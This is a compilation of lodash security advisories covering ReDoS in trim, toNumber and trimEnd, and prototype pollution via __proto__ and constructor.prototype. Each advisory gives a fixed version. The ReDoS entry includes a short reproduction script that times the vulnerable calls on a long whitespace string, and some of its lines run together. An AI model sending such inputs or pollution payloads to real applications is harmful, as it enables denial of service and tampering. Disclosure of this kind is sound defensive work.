All versions of package lodash prior to 4.17.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the toNumber, trim and trimEnd functions.

Steps to reproduce (provided by reporter Liyuan Chen):

  var lo = require('lodash');

  function build_blank(n) {
     var ret = "1"
     for (var i = 0; i < n; i++) {
         ret += " "
     }
     return ret + "1";
 }
 var s = build_blank(50000) var time0 = Date.now();
 lo.trim(s)
 var time_cost0 = Date.now() - time0;
 console.log("time_cost0: " + time_cost0);
 var time1 = Date.now();
 lo.toNumber(s) var time_cost1 = Date.now() - time1;
 console.log("time_cost1: " + time_cost1);
 var time2 = Date.now();
 lo.trimEnd(s);
 var time_cost2 = Date.now() - time2;
 console.log("time_cost2: " + time_cost2);

Versions of lodash before 4.17.5 are vulnerable to prototype pollution.

The vulnerable functions are 'defaultsDeep', 'merge', and 'mergeWith' which allow a malicious user to modify the prototype of Object via __proto__ causing the addition or modification of an existing property that will exist on all objects.

Recommendation

Update to version 4.17.5 or later."

Versions of lodash before 4.17.11 are vulnerable to prototype pollution.

The vulnerable functions are 'defaultsDeep', 'merge', and 'mergeWith' which allow a malicious user to modify the prototype of Object via {constructor: {prototype: {...}}} causing the addition or modification of an existing property that will exist on all objects.

Recommendation

Update to version 4.17.11 or later.